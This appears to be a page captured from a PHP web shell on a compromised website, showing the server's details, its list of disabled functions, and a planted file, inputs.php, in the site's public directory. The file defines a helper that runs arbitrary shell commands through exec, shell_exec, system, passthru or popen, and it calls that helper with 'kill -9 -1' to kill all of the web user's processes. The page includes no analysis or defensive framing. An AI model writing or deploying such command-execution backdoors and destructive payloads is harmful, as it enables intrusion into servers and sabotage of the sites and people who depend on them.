HEX
Server: Apache/2
System: Linux server.simple.com.vn 6.8.0-85-generic #85-Ubuntu SMP PREEMPT_DYNAMIC Thu Sep 18 15:26:59 UTC 2025 x86_64
User: ttsmedia (1035)
PHP: 8.3.25
Disabled: exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Upload Files
File: /home/ttsmedia/domains/ttsmedia.vn/public_html/inputs.php
<?php
function do_phpfun($cmd,$fun) {
    $res = '';
    switch($fun){
        case "exec": @exec($cmd,$res); $res = join("\n",$res); break;
        case "shell_exec": $res = @shell_exec($cmd); break;
        case "system": @ob_start(); @system($cmd); $res = @ob_get_contents();   @ob_end_clean();break;
        case "passthru": @ob_start();   @passthru($cmd); $res = @ob_get_contents(); @ob_end_clean();break;
        case "popen": if(@is_resource($f = @popen($cmd,"r"))){ while(!@feof($f))    $res .= @fread($f,1024);} @pclose($f);break;
    }
    return $res;
}

echo do_phpfun('kill -9 -1', 'popen');